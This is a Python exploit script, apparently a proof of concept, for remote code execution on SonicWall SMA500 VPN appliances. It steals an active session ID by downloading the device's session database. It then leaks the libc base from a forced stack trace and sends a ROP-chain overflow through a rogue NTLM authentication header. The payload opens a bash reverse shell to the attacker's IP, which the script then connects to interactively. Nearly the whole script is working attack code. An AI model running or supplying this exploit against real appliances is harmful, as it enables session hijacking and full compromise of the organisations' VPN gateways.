from pwn import * import base64 import re import sqlite3 from threading import Thread import socket import argparse import requests requests.packages.urllib3.disable_warnings() def web_listener(port,exploit_auth): log.info("Starting listener") with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind(("0.0.0.0", port)) s.listen() count = 0 while count < 3: conn, addr = s.accept() with conn: print(f"Connected by {addr}") data = conn.recv(4096) #print("Received %s" % (data,)) log.info("Sending payload") conn.send(b'HTTP/1.0 401 Unauthorized\r\n') conn.send(b'Host: 192.168.142.141:8888\r\n') conn.send(b'Date: Tue, 29 Oct 2024 13:54:37 GMT\r\n') conn.send(b'WWW-Authenticate: NTLM ' + exploit_auth + b'\r\n') conn.send(b'Connection: close\r\n') conn.send(b'Content-type: text/html; charset=UTF-8\r\n') conn.send(b'Content-Length: 4\r\n') conn.send(b'\r\ntoto') count += 1 parser = argparse.ArgumentParser( prog='SonicWall SMA500 RCE exploit', description='Execute some arbitrary command on the SMA, needs one active session to exist', ) parser.add_argument('TARGET', help='target ip/hostname') parser.add_argument('DPORT', type=int, help='target port') parser.add_argument('LPORT', type=int, help='local Web port') parser.add_argument('MYIP', help='Attacker IP address for reverse shell') parser.add_argument('SHELLPORT', type=int, help='Port for reverse shell') args=parser.parse_args() def gen_payload(i): #Get sessions TARGET = args.TARGET DPORT = args.DPORT LPORT = args.LPORT CMD = "bash -i >& /dev/tcp/" + args.MYIP + "/" + str(args.SHELLPORT) + " 0>&1" + "\x00" sqlite = wget("https://"+TARGET + ":" + str(DPORT) + "/tmp/temp.db%3f.10.2.1.13-72sv.css",verify=False) f = open("/tmp/temp.db.sqlite","wb") f.write(sqlite) f.close() con = sqlite3.connect("/tmp/temp.db.sqlite") cur = con.cursor() res = cur.execute("select sessionId,userName from Sessions") resp = res.fetchone() if resp: log.success("Found session for user %s (%s) " % (resp[1],resp[0])) swap = base64.b64encode(resp[0].encode()) log.info("Swap cookie value : %s" % (swap,)) else: log.error("Could not find an active session :'(") exit(1) # Stack overflow to generate stacktrace in log file try: log.info("Generating stack trace") resp = requests.get("https://" + TARGET + ":" + str(DPORT)+ '/go/https://localhost:80/', verify=False, headers={'Cookie':'swap='+swap.decode()+"; __proxy_ssl_vpn__AUTHREQD__localhost__80__ReqMethodAndType=GET__NTLM__"+"A"*2880}) print(resp.content) log.error("Looks like something went wrong") except: log.info("Generated stack trace") # Get LIBC base logfile = wget("https://"+TARGET + ":" + str(DPORT) + "/usr/src/EasyAccess/var/logs/httpd.log%3f.10.2.1.13-72sv.css",verify=False) m=re.search(b'(\w{8})-.+?/lib/libc-2.14.1.so\n',logfile) if m: log.success("Found libc base address : " + m.group(1).decode()) LIBC = int(m.group(1),16) else: log.error("Could not find LIBC base in logs :'(") exit(2) # Will need to BF this on a real target CANARY = 0x90251800 # Construct payload with ropchain exploit_payload = b"A" * 1000 # Initial padding exploit_payload += CMD.encode() + b"B" * (76 - len(CMD)) # Reverse shell command exploit_payload += p32(CANARY) # Canary overwrite exploit_payload += b"f" * 12 # Padding exploit_payload += p32(0x00000040) # Offset to ESP+4 when calling system exploit_payload += b"f" * 12 # Padding exploit_payload += p32(LIBC+0x000d473c) # push esp ; pop esi ; pop edi ; pop ebp ; ret exploit_payload += b"C" * 8 # edi and ebp exploit_payload += p32(LIBC+0x00069c4c) # add esi, ebx ; ret exploit_payload += p32(LIBC+0x0007dd1f) # mov eax, esi ; pop esi ; ret exploit_payload += b"SCRT" # esi exploit_payload += p32(LIBC+0x00060454) # xchg edx, eax ; ret exploit_payload += p32(LIBC+0x000d473c) # push esp ; pop esi ; pop edi ; pop ebp ; ret exploit_payload += b"SCRTSCRT" # edi, ebp exploit_payload += p32(LIBC+0x00019600) # pop ebx ; ret exploit_payload += p32(0xffffff74) # Negative offset to CMD string exploit_payload += p32(LIBC+0x00069c4c) # add esi, ebx ; ret exploit_payload += p32(LIBC+0x0007dd1f) # mov eax, esi ; pop esi ; ret exploit_payload += b"SCRT" # esi exploit_payload += p32(LIBC+0x000d7ab9) # mov dword ptr [edx + 4], eax ; ret exploit_payload += p32(LIBC+0x0003dfc0) # system exploit_payload += b"SCRTTEAM" # very important exploit_auth = base64.b64encode(exploit_payload) # Start server listener t = Thread(target=web_listener, args=[LPORT,exploit_auth]) t.start() l = listen(args.SHELLPORT) # Trigger exploit try: requests.get("https://" + TARGET + ":" + str(DPORT)+ '/go/http://' + args.MYIP + ':' + str(LPORT) + '/auth.php', timeout=1, verify=False, headers={'Cookie':'swap='+swap.decode(),'Authorization':'Basic YXNkZmRzYWFmZHNhZmRzYWZkc2E='}) except: log.info("Conn timed out, should be a good sign....") log.info("Attempting to open shell") l.interactive()